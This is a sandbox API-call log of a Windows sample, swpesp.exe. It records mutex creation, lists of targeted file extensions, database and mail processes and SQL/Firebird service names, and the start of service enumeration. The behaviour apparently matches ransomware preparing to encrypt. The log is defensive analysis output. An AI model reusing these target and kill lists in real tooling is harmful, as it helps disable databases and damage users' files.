# Flog Txt Version 1
# Analyzer Version: 3.0.2
# Analyzer Build Date: Jul  9 2019 16:03:52
# Log Creation Date: 25.07.2019 12:39:11.527

Process:
	id = "1"
	image_name = "swpesp.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe"
	page_root = "0x4d0c3000"
	os_pid = "0x918"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe\" "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x91c

	[0029.674] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950
	[0029.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151
	[0029.676] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e
	[0029.677] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c
	[0029.678] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf
	[0029.678] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000
	[0031.326] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a
	[0031.327] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466
	[0031.327] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000
	[0032.392] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3
	[0032.392] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000
	[0034.385] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46
	[0034.386] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000
	[0034.386] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0
	[0034.386] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000
	[0034.473] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6
	[0034.473] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06
	[0034.473] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058
	[0034.473] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b
	[0034.667] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57
	[0034.668] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57
	[0034.668] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b
	[0034.668] GetProcessHeap () returned 0x4f0000
	[0034.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x5040c8
	[0034.668] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15489412835) returned 1
	[0034.668] GetTickCount () returned 0x18cc4
	[0034.668] GetCurrentProcessId () returned 0x918
	[0034.669] GetTickCount () returned 0x18cc4
	[0034.669] GetTickCount () returned 0x18cc4
	[0034.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x5040f0
	[0034.669] GetVersion () returned 0x1db10106
	[0034.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f36b0
	[0034.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0
	[0034.669] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140
	[0034.669] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0
	[0034.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x504900
	[0034.669] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQA") returned 0x0
	[0034.669] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KKXAGQA") returned 0x84
	[0034.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f36b0 | out: hHeap=0x4f0000) returned 1
	[0034.669] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0034.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1
	[0034.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x4f36b0
	[0034.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0
	[0034.670] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140
	[0034.670] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0
	[0034.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x514908
	[0034.670] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQU") returned 0x0
	[0034.670] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KKXAGQU") returned 0x88
	[0034.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f36b0 | out: hHeap=0x4f0000) returned 1
	[0034.670] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0034.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1
	[0034.670] GetVersion () returned 0x1db10106
	[0034.670] GetCurrentProcess () returned 0xffffffff
	[0034.670] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1
	[0034.670] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1
	[0034.670] CloseHandle (hObject=0x8c) returned 1
	[0034.670] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0
	[0034.670] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0
	[0034.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x4f36b0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x500bd0
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x500bd0, Size=0x20) returned 0x504140
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504140, Size=0x40) returned 0x5046b0
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5046b0, Size=0x80) returned 0x5046b0
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5046b0, Size=0x100) returned 0x5046b0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x5047b8
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007c0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007d0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5007e0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500bd0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5047f8
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500be8
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x8) returned 0x5047f8
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c00
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x10) returned 0x5047f8
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c18
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c30
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5047f8, Size=0x20) returned 0x5047f8
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c48
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c60
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007c0, Size=0x8) returned 0x5007c0
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x8) returned 0x5007d0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504820
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x500c78
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504830
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x500c90
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x8) returned 0x504830
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524928
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x10) returned 0x504830
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524940
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504848
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x20) returned 0x504858
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007c0, Size=0x10) returned 0x504830
	[0034.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x10) returned 0x504880
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5007c0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524958
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5007d0
	[0034.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x524970
	[0034.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5007d0, Size=0x8) returned 0x5007d0
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504898
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524988
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5048a8
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5249a0
	[0034.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5048a8, Size=0x8) returned 0x5048a8
	[0034.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x20) returned 0x524d10
	[0034.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504880, Size=0x20) returned 0x524d38
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x504880
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5249b8
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504830
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5249d0
	[0034.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504830, Size=0x8) returned 0x504830
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x524d60
	[0034.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x524d80
	[0034.672] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0034.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5046b0 | out: hHeap=0x4f0000) returned 1
	[0034.672] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0
	[0034.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5249e8
	[0034.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5249e8, Size=0x20) returned 0x504348
	[0034.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x504708
	[0034.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x80) returned 0x504708
	[0034.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x100) returned 0x525058
	[0034.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5249e8
	[0034.688] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5249e8, Size=0x20) returned 0x504348
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x504708
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x80) returned 0x504708
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x100) returned 0x525160
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5249e8
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504708
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x8) returned 0x504708
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x504718
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x10) returned 0x504738
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x504750
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504348
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504738, Size=0x20) returned 0x504770
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x504370
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x504798
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x504398
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x524a18
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x504708
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x525268
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x8) returned 0x504708
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x5252b0
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504708, Size=0x10) returned 0x504738
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5252f8
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x525318
	[0034.689] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504738, Size=0x20) returned 0x525338
	[0034.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x525360
	[0034.689] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0034.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525058 | out: hHeap=0x4f0000) returned 1
	[0034.689] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0034.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525160 | out: hHeap=0x4f0000) returned 1
	[0034.689] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5258e0
	[0034.693] EnumServicesStatusExW (in: hSCManager=0x5258e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0
	[0034.695] GetLastError () returned 0xea
	[0034.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5291e0
	[0034.695] EnumServicesStatusExW (in: hSCManager=0x5258e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5291e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5291e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1
	[0034.696] CloseServiceHandle (hSCObject=0x5258e0) returned 1
	[0034.698] lstrlenW (lpString="Appinfo") returned 7
	[0034.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0034.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0034.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0034.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0034.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0034.698] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0034.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0034.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0034.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0034.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0034.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0034.698] lstrlenW (lpString="AudioSrv") returned 8
	[0034.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0034.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0034.699] lstrlenW (lpString="BFE") returned 3
	[0034.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0034.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
